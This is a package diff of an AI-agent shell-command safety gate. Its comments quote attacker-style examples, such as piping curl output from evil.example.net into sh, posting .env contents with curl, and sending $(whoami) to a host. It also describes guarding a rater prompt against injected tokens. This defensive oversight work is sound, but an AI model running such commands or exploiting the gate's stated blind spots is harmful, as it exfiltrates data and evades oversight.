@gaunt-sloth/core 2.0.0-alpha.26 → 2.0.0-alpha.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. package/dist/config/schema.js +64 -15
  2. package/dist/config/schema.js.map +1 -1
  3. package/dist/config/types.d.ts +17 -8
  4. package/dist/config/types.js.map +1 -1
  5. package/dist/constants.d.ts +7 -4
  6. package/dist/constants.js +7 -4
  7. package/dist/constants.js.map +1 -1
  8. package/dist/core/GthAgentRunner.d.ts +10 -4
  9. package/dist/core/GthAgentRunner.js +24 -7
  10. package/dist/core/GthAgentRunner.js.map +1 -1
  11. package/dist/core/GthLangChainAgent.js +16 -11
  12. package/dist/core/GthLangChainAgent.js.map +1 -1
  13. package/dist/core/launchBanner.js +36 -17
  14. package/dist/core/launchBanner.js.map +1 -1
  15. package/dist/core/shell/abstention.d.ts +88 -0
  16. package/dist/core/shell/abstention.js +184 -0
  17. package/dist/core/shell/abstention.js.map +1 -0
  18. package/dist/core/shell/openWorld.d.ts +137 -12
  19. package/dist/core/shell/openWorld.js +677 -12
  20. package/dist/core/shell/openWorld.js.map +1 -1
  21. package/dist/core/shell/rater.d.ts +68 -38
  22. package/dist/core/shell/rater.js +105 -61
  23. package/dist/core/shell/rater.js.map +1 -1
  24. package/dist/core/shell/rejection.d.ts +7 -4
  25. package/dist/core/shell/rejection.js +3 -3
  26. package/dist/core/shell/rejection.js.map +1 -1
  27. package/dist/core/toolDisplay.d.ts +12 -3
  28. package/dist/core/toolDisplay.js +27 -7
  29. package/dist/core/toolDisplay.js.map +1 -1
  30. package/dist/utils/displayWidth.d.ts +30 -0
  31. package/dist/utils/displayWidth.js +140 -0
  32. package/dist/utils/displayWidth.js.map +1 -0
  33. package/dist/utils/systemPromptNotes.d.ts +28 -8
  34. package/dist/utils/systemPromptNotes.js +47 -49
  35. package/dist/utils/systemPromptNotes.js.map +1 -1
  36. package/dist/utils/untrustedText.d.ts +66 -0
  37. package/dist/utils/untrustedText.js +80 -0
  38. package/dist/utils/untrustedText.js.map +1 -0
  39. package/package.json +2 -1
  40. package/schema/gsloth-config.schema.json +3 -1
@@ -38,15 +38,49 @@
38
38
  * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
39
39
  * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
40
40
  *
41
+ * ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
42
+ *
43
+ * This module answers the host question for **two** callers whose error costs differ, so it has two
44
+ * entry points and they are deliberately not the same function:
45
+ *
46
+ * - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
47
+ * `destructive` with no model in the loop, so it fires only where the parser resolved the whole
48
+ * command. "The parser could not resolve this" is a fact about the checker, not a detection about
49
+ * the command, and this layer floors only what is deterministically known.
50
+ * - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
51
+ * NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
52
+ * outcome by itself.
53
+ *
54
+ * **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
55
+ * WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
56
+ * module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
57
+ * INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
58
+ * attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
59
+ * extractor; that trades a free cost for a silent one.
60
+ *
61
+ * **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
62
+ * flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
63
+ * sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
64
+ * is false on an ordinary command is this node's own named failure mode arriving one layer in: an
65
+ * escalation laundered through the model instead of the parser, unfalsifiable because a note said
66
+ * it. So each flow arm fires only where its claim is **true of the program named**, and everything
67
+ * else falls through to the flowless sentence — which still names the hosts and says outright that
68
+ * the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
69
+ * loss of the layer.
70
+ *
71
+ * **And a flow sentence names EVERY host of the part it describes**, for the reason
72
+ * {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
73
+ * proxy, and a sentence that names the reassuring host while hiding the other is worse than no
74
+ * sentence.
75
+ *
41
76
  * ## The shape of the matcher
42
77
  *
43
78
  * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
44
79
  *
45
- * 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
46
- * composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
47
- * preflight already floors those. So this matcher never has to parse a hard command and it
48
- * must not claim the finding, because "it names a host" would be a worse (and possibly false)
49
- * explanation than "its target cannot be statically resolved".
80
+ * 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
81
+ * `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
82
+ * deterministic floor must not claim "it names a host" about a string whose target it could not
83
+ * statically resolve. The note path picks those up instead, by reading the parts.
50
84
  * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
51
85
  * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
52
86
  * 4. **Test only the candidate operands** for a host literal.
@@ -472,13 +506,14 @@ function matchArgv(argv) {
472
506
  * caller can never accidentally hand this a form that has already lost the composition boundary
473
507
  * the decline below depends on.
474
508
  *
475
- * Returns `[]` declining rather than flooring for any command {@link classifyCommand} cannot
476
- * classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
477
- * them**, with a truer explanation than this one could give. Composed egress
478
- * (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
479
- * That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
480
- * finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
481
- * and already escalating before EXT-61 existed.
509
+ * **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
510
+ * than flooring for any command {@link classifyCommand} cannot classify: those compose, substitute
511
+ * or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
512
+ * actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
513
+ * floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
514
+ * is a different question with a different error cost (module docblock). The same decline is why
515
+ * `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
516
+ * expression reads as composition.
482
517
  *
483
518
  * **Every match is returned, not the first.** The first is not the target: for
484
519
  * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
@@ -520,4 +555,634 @@ export function findOpenWorldHostLiterals(command) {
520
555
  const rawArgv = tokenize(command);
521
556
  return rawArgv === null ? [] : matchArgv(rawArgv);
522
557
  }
558
+ /* ───────────────────────────────────────────────────────────────────────────────────────────────
559
+ * THE NOTE PATH — what the RATER is told about a composed command that names a host.
560
+ *
561
+ * Everything below feeds {@link import('./rater.js').buildRaterPrompt} and nothing else. It never
562
+ * reaches {@link import('./rater.js').mapVerdictToAction}, so it can raise no floor and change no
563
+ * outcome on its own.
564
+ *
565
+ * **Why it exists at all.** {@link findOpenWorldHostLiterals} declines a command the parser could
566
+ * not resolve, and that decline used to be invisible because the same commands were floored by the
567
+ * ambiguity abstention. With the abstention retired they are RATED — and because one function fed
568
+ * both the floor and the note, a composed command reached the rater with *less* information than
569
+ * the same fetch written as a single command: no floor, and no mention of the host either. Adding a
570
+ * pipe removed information from the model. That asymmetry is what this path closes.
571
+ *
572
+ * **And the host alone is not the information.** A rater sees a hostname, names it in its own
573
+ * reasoning, and rates the command safely anyway — which is why host trust is deterministic
574
+ * exact-match and not a model call in the first place. Restating a hostname that is already in the
575
+ * command text is assistance in form only. What a model can genuinely miss is the **data flow across
576
+ * the parts**: in `cat .env | curl -X POST https://…` the fact worth stating is that a local file's
577
+ * contents are read into an outbound request, which takes composing two segments to see — exactly
578
+ * what the parser failed to do. So the note names the FLOW where one is determinable, and says only
579
+ * what it knows where one is not.
580
+ *
581
+ * **Two rules govern every sentence below, and both are load-bearing:**
582
+ *
583
+ * 1. **It never invents a flow.** An arm fires only where its mechanism is true of the program
584
+ * named — the at-sign convention only for a program that has it, a substitution only where the
585
+ * program SENDS that operand, execution of fetched bytes only where **no token on the
586
+ * interpreter's own argv could be a program**. That last one is read from ARGV SHAPE alone,
587
+ * without knowing what any flag letter means, so it hedges wherever a token has text of its own
588
+ * that could be a program — and where two shapes are indistinguishable by their characters it
589
+ * can be wrong in EITHER direction, which {@link interpreterRunsStdin} names case by case rather
590
+ * than claiming a property this code does not have. Anything else falls through to the flowless
591
+ * sentence. The module docblock says why this is not the same trade-off as over-matching a host.
592
+ * 2. **It names every host of the part it describes**, and any host the rest of the line names is
593
+ * added rather than dropped. Naming a flow must never cost the note a counterparty, or adding a
594
+ * pipe would once again remove information from the model — the very asymmetry this path exists
595
+ * to close.
596
+ * ─────────────────────────────────────────────────────────────────────────────────────────────── */
597
+ /**
598
+ * The shells. Kept as its own set because one thing is true of shells and of nothing else here: a
599
+ * `-s` in a flag cluster means *"the program is standard input, and every operand after it is an
600
+ * ARGUMENT to that program"* — `curl … | sh -s -- --unattended`, the ordinary unattended-installer
601
+ * form. Elsewhere the same letter means something unrelated (`python3 -s` is a site-packages
602
+ * switch), which is why {@link interpreterRunsStdin} consults it only for these heads.
603
+ */
604
+ const SHELL_INTERPRETERS = new Set([
605
+ 'sh',
606
+ 'bash',
607
+ 'zsh',
608
+ 'dash',
609
+ 'ksh',
610
+ 'ash',
611
+ 'csh',
612
+ 'tcsh',
613
+ 'fish',
614
+ ]);
615
+ /**
616
+ * Programs that CAN run what arrives on their standard input. Piping a fetch into one of these makes
617
+ * the fetched bytes the program **when no token on that interpreter's own argv could be a program
618
+ * instead** — which is the question {@link interpreterRunsStdin} answers, and which decides which
619
+ * sentence this note carries.
620
+ *
621
+ * An enumeration, and a miss costs only a less specific note (the host is still named and the
622
+ * remaining sentence is still true), which is what makes an enumeration acceptable *here* and not in
623
+ * a layer that decides an outcome.
624
+ */
625
+ const STDIN_INTERPRETERS = new Set([
626
+ ...SHELL_INTERPRETERS,
627
+ 'python',
628
+ 'python2',
629
+ 'python3',
630
+ 'node',
631
+ 'nodejs',
632
+ 'deno',
633
+ 'bun',
634
+ 'perl',
635
+ 'ruby',
636
+ 'php',
637
+ 'lua',
638
+ 'osascript',
639
+ 'powershell',
640
+ 'pwsh',
641
+ ]);
642
+ /** A short-flag cluster: one dash, then letters or digits (`-s`, `-fsSL`, `-es`). */
643
+ const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z0-9]+$/;
644
+ /** A long flag with nothing attached: two dashes, then letters, digits or dashes (`--norc`). */
645
+ const LONG_FLAG_RE = /^--[A-Za-z0-9][A-Za-z0-9-]*$/;
646
+ /** A token that is nothing but dashes (`-`, `--`). It has no room to carry a program. */
647
+ const DASHES_ONLY_RE = /^-+$/;
648
+ /**
649
+ * Is this token a flag and ONLY a flag — with no text glued to it that could be a program?
650
+ *
651
+ * Three shapes qualify, and each is a statement about the token's characters rather than about what
652
+ * any program does with them: nothing but dashes, a short-flag cluster, or a long flag with nothing
653
+ * attached. Every other `-`-leading token — `-mjson.tool`, `-pes/a/b/`, `--eval=console.log(1)`,
654
+ * `-cprint(1)` — carries text of its own, and that text can be a program.
655
+ *
656
+ * The limit is exactly where the characters stop distinguishing: a glued value made only of letters
657
+ * and digits (`-mbase64`) is the same shape as a flag cluster (`-fsSL`) and passes here.
658
+ * {@link interpreterRunsStdin} records what that costs — and note the cost is not uniform, since
659
+ * `-MJSON` has that same shape while the reading it produces is correct.
660
+ */
661
+ function isCleanFlag(token) {
662
+ return (DASHES_ONLY_RE.test(token) || SHORT_FLAG_CLUSTER_RE.test(token) || LONG_FLAG_RE.test(token));
663
+ }
664
+ /**
665
+ * Does this line leave the interpreter's PROGRAM to standard input, or could a token on the
666
+ * interpreter's own argv be the program instead?
667
+ *
668
+ * Answered from the shape of the argv alone. **There is deliberately no table of what each
669
+ * interpreter's flags mean**, because that table is the enumeration that acquires a blind spot one
670
+ * release at a time ([[cmd-pos-is-an-enumeration]]) — and here a wrong entry does not cost a miss,
671
+ * it puts a FALSE MECHANISM in front of the rater in one direction or the other. `-e` is `eval` to
672
+ * node and perl and `errexit` to every shell; `-m` is a module to python and job control to bash. Two
673
+ * program-agnostic facts settle it instead:
674
+ *
675
+ * - **A token that is not a clean flag by shape** ({@link isCleanFlag}) may be the program
676
+ * (`python3 script.py`), or the value of a flag that supplies one — whether that value is spaced
677
+ * (`bash -c "…"`, `python3 -m json.tool`) or GLUED to the flag (`python3 -mjson.tool`,
678
+ * `perl -pe's/a/b/'`, `node --eval="…"`). Shape cannot tell those apart, and it does not need to:
679
+ * in every one of them the line may hand the interpreter something of its own, so the note must
680
+ * not say the fetched bytes are what runs. Testing merely for a leading dash instead would make
681
+ * the gate spelling-sensitive where it has to be shape-sensitive, and assert execution of a
682
+ * `curl … | python3 -mjson.tool` that only pretty-prints.
683
+ * - **A shell's `-s`, alone or in a cluster**, says the program IS standard input. It therefore
684
+ * WINS over the token test, which would otherwise read the script's own arguments (`sh -s foo`)
685
+ * as a program and soften the sentence on the hostile shape.
686
+ *
687
+ * **Where shape runs out — both directions, stated rather than claimed away.** Two token shapes are
688
+ * indistinguishable from a clean flag by their characters alone, and each costs a different error:
689
+ *
690
+ * - **A DETACHED flag value** (`bash -o pipefail`, `bash --rcfile /dev/null`) is a token with text
691
+ * of its own, so it reads as a possible program and a shell that really does run its standard
692
+ * input gets the hedged sentence. This one UNDER-claims, which is the tolerable side: the note
693
+ * still names every host and still says the fetched bytes may be what executes.
694
+ * - **A glued value made only of letters and digits** (`python3 -mbase64`) is the same characters
695
+ * as a flag cluster, so it reads as a clean flag and the strong sentence fires on a line that only
696
+ * ENCODES the fetched bytes. This one OVER-claims, which is the failure this note path exists to
697
+ * remove — it is narrowed here to the shapes characters cannot separate, not eliminated.
698
+ * Note the shape does not decide the direction: `perl -MJSON` is the identical shape and the
699
+ * strong sentence is TRUE there, because `-M` only loads a module and leaves standard input as
700
+ * the program. Both are pinned, the second as correct behaviour rather than as a gap.
701
+ *
702
+ * Neither is closable from shape. Both need to know which flags take a value, which is the table
703
+ * this function refuses: a wrong entry there would state a false mechanism on EVERY line using that
704
+ * flag, where shape is wrong only on the lines whose tokens are genuinely ambiguous. Both are pinned
705
+ * in the spec, so closing either is a decision and not a drift.
706
+ */
707
+ function interpreterRunsStdin(head, operands) {
708
+ if (SHELL_INTERPRETERS.has(head)) {
709
+ const forcesStdin = operands.some((operand) => SHORT_FLAG_CLUSTER_RE.test(operand) && operand.includes('s'));
710
+ if (forcesStdin)
711
+ return true;
712
+ }
713
+ return operands.every(isCleanFlag);
714
+ }
715
+ /**
716
+ * Split a command line into its parts at the separators the SHELL would act on.
717
+ *
718
+ * Quote-aware and nesting-aware, because both are the difference between a part and a fragment: a
719
+ * `|` inside `"$(cat a | b)"` or inside `'a;b'` starts no new command, and splitting there would
720
+ * describe a flow the shell never performs. The nesting counter covers `$(…)`, `<(…)`, `>(…)` and
721
+ * backticks — the constructs whose interior is a command line of its own.
722
+ *
723
+ * This does NOT try to be a shell parser. It is the smallest thing that can say "these are the parts
724
+ * and this one feeds that one", which is all the note needs.
725
+ */
726
+ function splitComposed(command) {
727
+ const segments = [];
728
+ let current = '';
729
+ let separatorBefore = 'none';
730
+ let quote = null;
731
+ let depth = 0;
732
+ let backtick = false;
733
+ const cut = (next) => {
734
+ segments.push({ text: current, separatorBefore });
735
+ current = '';
736
+ separatorBefore = next;
737
+ };
738
+ for (let i = 0; i < command.length; i++) {
739
+ const ch = command[i];
740
+ const next = command[i + 1];
741
+ if (quote !== null) {
742
+ current += ch;
743
+ if (ch === quote)
744
+ quote = null;
745
+ continue;
746
+ }
747
+ if (ch === '"' || ch === "'") {
748
+ quote = ch;
749
+ current += ch;
750
+ continue;
751
+ }
752
+ if (ch === '`') {
753
+ backtick = !backtick;
754
+ current += ch;
755
+ continue;
756
+ }
757
+ if (!backtick && (ch === '$' || ch === '<' || ch === '>') && next === '(') {
758
+ depth++;
759
+ current += ch + next;
760
+ i++;
761
+ continue;
762
+ }
763
+ if (depth > 0) {
764
+ if (ch === '(')
765
+ depth++;
766
+ else if (ch === ')')
767
+ depth--;
768
+ current += ch;
769
+ continue;
770
+ }
771
+ if (backtick) {
772
+ current += ch;
773
+ continue;
774
+ }
775
+ if (ch === '\n' || ch === '\r' || ch === ';') {
776
+ cut('sequence');
777
+ continue;
778
+ }
779
+ if (ch === '&') {
780
+ if (next === '&')
781
+ i++;
782
+ cut('sequence');
783
+ continue;
784
+ }
785
+ if (ch === '|') {
786
+ // `||` is a sequence operator; a single `|` is the one that connects two parts' streams, and
787
+ // that connection is the whole of what a flow sentence describes.
788
+ if (next === '|') {
789
+ i++;
790
+ cut('sequence');
791
+ }
792
+ else {
793
+ cut('pipe');
794
+ }
795
+ continue;
796
+ }
797
+ current += ch;
798
+ }
799
+ cut('none');
800
+ return segments.filter((segment) => segment.text.trim().length > 0);
801
+ }
802
+ /**
803
+ * The characters a token may contain to be quoted back inside our own note.
804
+ *
805
+ * **This is an injection boundary, not cosmetics.** The note is OUR trusted text and sits OUTSIDE
806
+ * the `<command_to_evaluate>` fence, while every token it names comes from the model's command
807
+ * string. {@link SCHEME_RE} and {@link HOST_COLON_PATH_RE} are PREFIX tests, so an operand that
808
+ * starts as a URL carries whatever follows it — and a composed command is the easiest place to build
809
+ * one. Barring whitespace and line breaks is what stops a "hostname" from becoming a sentence or a
810
+ * new line in a prompt that is read as instructions.
811
+ *
812
+ * A token that fails this is not mangled into shape; it is simply not named ({@link quotable}), and
813
+ * the sentence falls back to a generic word.
814
+ */
815
+ const QUOTABLE_IN_NOTE_RE = /^[A-Za-z0-9~/.[][A-Za-z0-9._~@:/+?=,%#[\]-]{0,99}$/;
816
+ /** The token if it is safe to name in our own note, else `null`. See {@link QUOTABLE_IN_NOTE_RE}. */
817
+ function quotable(token) {
818
+ return QUOTABLE_IN_NOTE_RE.test(token) ? token : null;
819
+ }
820
+ /** `$(…)` or a backtick — the substitution forms the shell EXECUTES before the outer program runs. */
821
+ const EXECUTING_SUBSTITUTION_RE = /\$\(|`/;
822
+ /**
823
+ * curl's convention for "read this operand from a local file rather than taking it literally". `@-`
824
+ * is standard input, which is the pipe case rather than a file read.
825
+ *
826
+ * Within a head that HAS the convention this is keyed on the convention and not on a list of the
827
+ * flags that honour it: an enumeration of `-d`/`--data-binary`/`-T`/`-F`/… acquires a blind spot one
828
+ * flag at a time, and a miss there costs a less specific note. Which heads have it at all is a
829
+ * different question and is answered by {@link AT_FILE_HEADS}.
830
+ */
831
+ const AT_FILE_OPERAND_RE = /^@(?!-$)(.+)$/;
832
+ /**
833
+ * The heads whose operand beginning with `@` means *"read this local file and send its contents"*.
834
+ *
835
+ * **curl alone, and the narrowness is the point.** The sentence this arm emits names that mechanism
836
+ * outright, so it is only ever true of a program that has the convention. A leading at-sign is
837
+ * ordinary in operands that are nothing of the kind — `npm install @babel/core`, `pnpm add
838
+ * @types/node`, `yarn add @scope/pkg` are scoped package NAMES, and applying curl's convention to
839
+ * them both invents a mechanism and invents a filename that does not exist. httpie's file forms
840
+ * attach to a field (`field@file`) rather than standing as a bare operand, so it is out too: a head
841
+ * admitted here on a guess re-creates exactly the defect this gate prevents, while a head left out
842
+ * costs only the flowless sentence, which still names the host.
843
+ *
844
+ * The head is `argv[0]` of the part, so a wrapped form (`sudo curl -d @secret …`) falls through as
845
+ * well — the same trade, taken the same way.
846
+ */
847
+ const AT_FILE_HEADS = new Set(['curl']);
848
+ /**
849
+ * Flags whose VALUE the program puts into what it SENDS — a request body, a header, credentials.
850
+ *
851
+ * **Keyed by head, because a flag letter is not a convention:** `git push -d <branch>` deletes a
852
+ * branch, and an ungated list would let *"the result of the inner command is part of what git sends
853
+ * to <host>"* through unchecked. Only values sent LITERALLY are listed: `-T`/`--upload-file` and
854
+ * `-F`/`--form` take a filename or an `@file` reference, so a substitution there produces the NAME
855
+ * of what is sent rather than the content, and claiming otherwise would be the same false mechanism
856
+ * one flag along.
857
+ *
858
+ * A head or a flag missing from here costs the flowless sentence, which is the direction this table
859
+ * must fail in.
860
+ */
861
+ const SEND_OPERAND_FLAGS = new Map([
862
+ [
863
+ 'curl',
864
+ new Set([
865
+ '-d',
866
+ '--data',
867
+ '--data-raw',
868
+ '--data-ascii',
869
+ '--data-binary',
870
+ '--data-urlencode',
871
+ '--json',
872
+ '--form-string',
873
+ '-H',
874
+ '--header',
875
+ '-u',
876
+ '--user',
877
+ ]),
878
+ ],
879
+ ['wget', new Set(['--post-data', '--body-data', '--header'])],
880
+ ]);
881
+ /** A redirection operator standing alone: `>`, `>>`, `2>`, `&>`, `<`. */
882
+ const REDIRECT_OPERATOR_RE = /^(?:\d*(?:>>?|<<?)|&>>?)$/;
883
+ /** The same, glued to what follows it: `>out.txt`, `2>>log`. */
884
+ const REDIRECT_PREFIX_RE = /^(?:\d*(?:>>?|<<?)|&>>?)/;
885
+ /**
886
+ * Is a substitution in this part in a position the program SENDS?
887
+ *
888
+ * The arm's sentence says the inner command's output becomes part of what the program sends to the
889
+ * host. That is true of a request body, a header or a URL; it is false of the two places a
890
+ * substitution most often sits in ordinary work — an OUTPUT filename (`curl -o "$(date).json" <URL>`,
891
+ * `wget -O "$(date).html" <URL>`) and a REDIRECT target (`curl <URL> > "$(date).txt"`), where the
892
+ * output names a local file and nothing about it goes anywhere.
893
+ *
894
+ * So a position must be positively recognised as a sending one, rather than merely not recognised as
895
+ * an output one: an unlisted flag then costs the flowless sentence instead of a false claim.
896
+ * Recognised positions are the value of a {@link SEND_OPERAND_FLAGS} flag, in either spelling, and
897
+ * the endpoint operand itself (`curl "https://evil.example/$(whoami)"`, where the substitution is
898
+ * part of the request line).
899
+ */
900
+ function substitutionIsSent(segment) {
901
+ const sendFlags = SEND_OPERAND_FLAGS.get(segment.head);
902
+ for (let i = 0; i < segment.argv.length; i++) {
903
+ const token = segment.argv[i];
904
+ if (!EXECUTING_SUBSTITUTION_RE.test(token))
905
+ continue;
906
+ // A redirect target is not an operand of the program at all — the shell consumes it.
907
+ if (REDIRECT_PREFIX_RE.test(token))
908
+ continue;
909
+ const previous = i > 0 ? segment.argv[i - 1] : undefined;
910
+ if (previous !== undefined && REDIRECT_OPERATOR_RE.test(previous))
911
+ continue;
912
+ // `--data=$(…)` — the value glued to its flag.
913
+ if (token.startsWith('-')) {
914
+ if (sendFlags?.has(token.split(/=(.*)/)[0]))
915
+ return true;
916
+ continue;
917
+ }
918
+ // `-d $(…)` — the detached value. An operand preceded by a flag is that flag's value, so an
919
+ // unlisted flag (`-o`, `-O`, `--output`) stops here rather than falling on to the operand test.
920
+ if (previous !== undefined && previous.startsWith('-')) {
921
+ // `-d @$(…)` names a file to read; its CONTENTS are sent, not the substitution's output.
922
+ if (sendFlags?.has(previous) && !token.startsWith('@'))
923
+ return true;
924
+ continue;
925
+ }
926
+ // The endpoint operand itself. `[<>]` excludes an unspaced redirect (`<URL>>$(date).txt`),
927
+ // which is a host literal by prefix but a filename after the operator.
928
+ if (segment.hosts.includes(token) && !/[<>]/.test(token))
929
+ return true;
930
+ }
931
+ return false;
932
+ }
933
+ /** Read one part the way the matcher reads a whole command; `null` when it does not tokenize. */
934
+ function analyzeSegment(segment) {
935
+ const argv = tokenize(segment.text);
936
+ if (argv === null || argv.length === 0)
937
+ return null;
938
+ return {
939
+ separatorBefore: segment.separatorBefore,
940
+ argv,
941
+ head: bareHead(argv[0]),
942
+ hosts: matchArgv(argv),
943
+ };
944
+ }
945
+ /**
946
+ * Name the flow across the parts, or `null` when none of the shapes below applies.
947
+ *
948
+ * **Only shapes where the flow is determinable from the argv alone appear here**, and the order is
949
+ * how specific each one is. A part piped into an ordinary local program (`curl … | jq .version`) is
950
+ * deliberately NOT a flow: it is real, but naming it would state something the rater can already see
951
+ * in the text, and the note's whole value is the fact that needs two parts composed to notice.
952
+ *
953
+ * **Each arm carries EVERY host of the part it describes, not the first.** The first is the proxy in
954
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x | sh`, and the sentence that
955
+ * names it alone hides the host whose bytes `sh` runs.
956
+ */
957
+ function findFlow(segments) {
958
+ for (let i = 0; i + 1 < segments.length; i++) {
959
+ const upstream = segments[i];
960
+ const downstream = segments[i + 1];
961
+ if (downstream.separatorBefore !== 'pipe')
962
+ continue;
963
+ if (upstream.hosts.length > 0 && STDIN_INTERPRETERS.has(downstream.head)) {
964
+ return {
965
+ kind: 'fetch-into-interpreter',
966
+ hosts: upstream.hosts,
967
+ interpreter: downstream.head,
968
+ stdinIsTheProgram: interpreterRunsStdin(downstream.head, downstream.argv.slice(1)),
969
+ };
970
+ }
971
+ if (upstream.hosts.length === 0 && downstream.hosts.length > 0) {
972
+ return {
973
+ kind: 'local-into-transfer',
974
+ producer: upstream.head,
975
+ transfer: downstream.head,
976
+ hosts: downstream.hosts,
977
+ };
978
+ }
979
+ }
980
+ for (const segment of segments) {
981
+ if (segment.hosts.length === 0)
982
+ continue;
983
+ if (substitutionIsSent(segment)) {
984
+ return {
985
+ kind: 'substitution-into-transfer',
986
+ transfer: segment.head,
987
+ hosts: segment.hosts,
988
+ };
989
+ }
990
+ if (!AT_FILE_HEADS.has(segment.head))
991
+ continue;
992
+ const atFile = segment.argv
993
+ .map((token) => AT_FILE_OPERAND_RE.exec(token)?.[1])
994
+ .find((path) => path !== undefined);
995
+ if (atFile !== undefined) {
996
+ return {
997
+ kind: 'file-into-transfer',
998
+ transfer: segment.head,
999
+ hosts: segment.hosts,
1000
+ path: quotable(atFile),
1001
+ };
1002
+ }
1003
+ }
1004
+ return null;
1005
+ }
1006
+ /** Read every part of one form of the command; `null` when no part names a host. */
1007
+ function analyzeComposed(command) {
1008
+ const segments = splitComposed(command)
1009
+ .map(analyzeSegment)
1010
+ .filter((segment) => segment !== null);
1011
+ const hosts = [...new Set(segments.flatMap((segment) => [...segment.hosts]))];
1012
+ if (hosts.length === 0)
1013
+ return null;
1014
+ return { hosts, flow: findFlow(segments) };
1015
+ }
1016
+ /**
1017
+ * Read a command the gate's parser could NOT resolve part by part, and report the host literals and
1018
+ * the data flow across those parts — or `null` when the command resolves, or when no part names a
1019
+ * host.
1020
+ *
1021
+ * **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
1022
+ * see the module docblock for why the two questions have different input sets, and
1023
+ * {@link findOpenWorldHostLiterals} for the floor's.
1024
+ *
1025
+ * The `null` on a resolvable command is the guard that keeps the rater from being told about the
1026
+ * same host twice in two registers — a command the parser resolved is the floor's, and the floor's
1027
+ * own note already names its hosts.
1028
+ *
1029
+ * Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
1030
+ * gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
1031
+ * separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
1032
+ *
1033
+ * @param command The raw command string as the model proposed it.
1034
+ */
1035
+ export function findComposedOpenWorld(command) {
1036
+ if (classifyCommand(command, normalizeCommand) !== null)
1037
+ return null;
1038
+ return analyzeComposed(normalizeCommand(command)) ?? analyzeComposed(command);
1039
+ }
1040
+ /**
1041
+ * The opening line of the composed open-world note.
1042
+ *
1043
+ * **It states the two facts and asserts no third one.** A part of this line names a host in a
1044
+ * fetch/transfer position, and nothing about the command has been decided. The second half is what
1045
+ * keeps this out of the floor note's register: that one may say the command *"is never
1046
+ * auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
1047
+ * would tell the rater the outcome is settled when the rating is the only thing that decides it.
1048
+ */
1049
+ export const COMPOSED_OPEN_WORLD_PREAMBLE = 'OPEN-WORLD NOTE: the gate could not resolve this command line as a single command — it composes, ' +
1050
+ 'substitutes or redirects — so it was not put through the deterministic host check a plain ' +
1051
+ 'command goes through. Reading its parts separately, one of them names a host in a fetch or ' +
1052
+ 'transfer position. Nothing has been decided here and nothing has been floored: this is context ' +
1053
+ 'about what the parts do together, and the rating is entirely yours.';
1054
+ /**
1055
+ * Name every host that is safe to quote back, in argv order.
1056
+ *
1057
+ * **Every one, never the first.** The finding carries all of them because the first is the proxy and
1058
+ * the second is the counterparty as often as the other way round; a sentence that drops the rest
1059
+ * hides exactly what it exists to surface. A host that fails {@link quotable} is not named at all —
1060
+ * that is the injection boundary, not a shortening — and when none can be named the caller's
1061
+ * fallback word stands in for them.
1062
+ */
1063
+ function nameHosts(hosts, fallback) {
1064
+ const named = hosts.map(quotable).filter((host) => host !== null);
1065
+ if (named.length === 0)
1066
+ return { phrase: fallback, plural: false };
1067
+ if (named.length === 1)
1068
+ return { phrase: named[0], plural: false };
1069
+ const last = named[named.length - 1];
1070
+ return { phrase: `${named.slice(0, -1).join(', ')} and ${last}`, plural: true };
1071
+ }
1072
+ /**
1073
+ * The sentence describing the flow — the mechanism, then a question.
1074
+ *
1075
+ * Neither is a verdict about the command. [[QA-17]] measured that a bare observation from a
1076
+ * component that has just said it could not read the command is taken as DOUBT rather than as
1077
+ * information, and that one sentence of MECHANISM is what moves a rater; these say what the shell
1078
+ * does with the parts and then hand the judgement back.
1079
+ *
1080
+ * Every arm renders `flow.hosts` through {@link nameHosts} and agrees its verbs with the count, so
1081
+ * the one-host reading and the several-host reading are the same sentence rather than two that can
1082
+ * drift.
1083
+ */
1084
+ function flowSentence(flow) {
1085
+ switch (flow.kind) {
1086
+ case 'fetch-into-interpreter': {
1087
